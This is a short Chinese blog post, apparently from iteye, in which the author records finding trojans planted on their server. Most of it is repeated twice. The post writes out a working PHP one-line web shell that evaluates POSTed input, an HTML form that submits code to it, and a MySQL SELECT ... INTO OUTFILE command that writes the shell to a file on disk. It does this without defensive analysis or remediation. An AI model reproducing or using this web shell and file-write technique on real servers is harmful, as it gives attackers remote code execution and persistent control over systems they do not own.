服务器上发现被植了很多木马,而且还让人肆意使用...NND
使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行
[img]http://dl.iteye.com/upload/attachment/0067/5613/754066b9-c56a-3efb-aafb-059421c761e8.jpg[/img]
[img]http://dl.iteye.com/upload/attachment/0067/5615/6f25bd7a-be78-3c9e-b8f8-a1364e7fd3a4.jpg[/img]
仅此做个记录,php这东西真恶心
后补充记录:
mysql输出文件
<?php @eval($_POST['c']);?>
使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行
<html>
<body>
<form action="a.php" method="post">
<input type="text" name="c" value="phpinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>
[img]http://dl.iteye.com/upload/attachment/0067/5613/754066b9-c56a-3efb-aafb-059421c761e8.jpg[/img]
[img]http://dl.iteye.com/upload/attachment/0067/5615/6f25bd7a-be78-3c9e-b8f8-a1364e7fd3a4.jpg[/img]
仅此做个记录,php这东西真恶心
后补充记录:
mysql输出文件
select '<?php @eval($_POST["c"]);?>' INTO OUTFILE 'e:/m.php'